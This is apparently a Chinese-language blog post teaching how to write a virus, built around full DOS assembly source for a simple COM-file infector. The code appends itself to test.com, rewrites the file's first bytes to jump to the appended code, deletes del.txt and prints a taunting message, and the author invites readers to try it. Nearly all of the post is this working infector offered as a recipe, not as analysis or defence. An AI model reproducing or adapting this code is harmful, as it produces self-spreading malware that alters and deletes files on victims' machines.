现在的位置: 首页 > 综合 > 正文

病毒製作 (use assembly language programming )

2013年09月10日 ⁄ 综合 ⁄ 共 1739字 ⁄ 字号 评论关闭
病毒製作

病毒的編寫是一種高深技術,真正的病毒一般都具有:傳染性、隱藏性(又稱潛伏性)、破壞性。現在的病毒種類也不少,如平常的傳染可執行檔的病毒、巨集病毒等等。但原始的、破壞性最大的病毒還是傳染可執行檔的病毒(像CIH病毒),而這些病毒一般都是用組合語言編寫的。有許多人對病毒有著好奇和嚮往,但是往往又因為組合語言的難學等問題望而卻步。

這篇文章就是教給大家如何製作一個簡單的程式,這個程式雖然算不上病毒但是具有病毒的傳染性,而往往病毒的傳染性是平常人最難做到的。

好啦,現在轉入正題,先講講病毒是如何傳染的,傳染後又如何在被染的檔中執行的,其實道理非常簡單:病毒一般將其代碼寫入執行檔的尾部,然後使執行檔在執行時先執行檔尾部的病毒代碼,然後再跳回原代碼處執行。現在舉一個試例進行說明:

;-----------------------------------------
;功能:感染當前文件夾的test.com文件
; 並刪除當前檔夾的del.txt文件
; 顯示預設的字串
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG
main PROC NEAR
mainstart:
CALL vstart ;病毒的代碼開始處
vstart:
POP SI ;得到當前地址
MOV BP,SI ;保存當前位址
PUSH SI
MOV AH,9
ADD SI,OFFSET message-OFFSET vstart ;顯示預設字串
MOV DX,SI
INT 21h
POP SI
ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程式中的前四個位元組
MOV DI,100h ;目的地址
MOV AX,DS:[SI] ;開始複製
MOV DS:[DI],AX
INC SI
INC SI
INC DI
INC DI
MOV AX,DS:[SI]
MOV DS:[DI],AX
MOV SI,BP ;恢復地址值
MOV DX,OFFSET delname-OFFSET vstart
ADD DX,SI
MOV AH,41h
INT 21h
MOV DX,OFFSET filename-OFFSET vstart ;得到檔案名
ADD DX,SI
MOV AL,02
MOV AH,3dh ;寫文件
INT 21h
JC error
MOV BX,AX ;文件控制碼
MOV DX,OFFSET yuan4byte-OFFSET vstart ;讀檔的前四個位元組
ADD DX,SI
MOV CX,4
MOV AH,3fh
INT 21h
MOV AX,4202h ;到文件尾
XOR CX,CX
XOR DX,DX
INT 21h
MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方
ADD DI,2
ADD DI,SI
SUB AX,4
MOV DS:[DI],AX
ADD SI,OFFSET mainstart-OFFSET vstart ;準備寫入病毒
MOV DX,SI
MOV vsizes,OFFSET vends-OFFSET mainstart
MOV CX,vsizes
MOV AH,40h
INT 21h
MOV SI,BP ;定位到文件頭
MOV AL,0
XOR CX,CX
XOR DX,DX
MOV AH,42h
INT 21h
MOV AH,40h ;將新的檔頭寫入
MOV CX,4
MOV DX,OFFSET new4byte-OFFSET vstart
ADD DX,SI
INT 21h
MOV AH,3eh ;關閉文件
INT 21h
error:
MOV AX,100h
PUSH AX
RET
main ENDP
yuan4byte:
RET
DB 3 DUP (?)
vsizes DW 0
new4byte DB ‘M‘,0e9h,0,0
filename DB "test.com",0
delname DB "del.txt",0
message DB "He he he he!"
DB 0dh,0ah,"$"
vends:
start:
MOV AX,CSEG
MOV DS,AX
MOV SS,AX
CALL main
MOV AX,4c00h
INT 21h
CSEG ENDS
END start
以上就是一個簡單的可以傳染COM檔的程式碼, 也是想當初我所做的具有傳染性質的第一個程式。如何???不難吧。
附:
COM檔執行時將COM檔內所的所有內容COPY到記憶體, 起始位址是100,然後進行執行
沒有任何有關節啦、段啦這些屬性,所以COM檔病毒是最簡單最簡單的病毒。
 

抱歉!评论已关闭.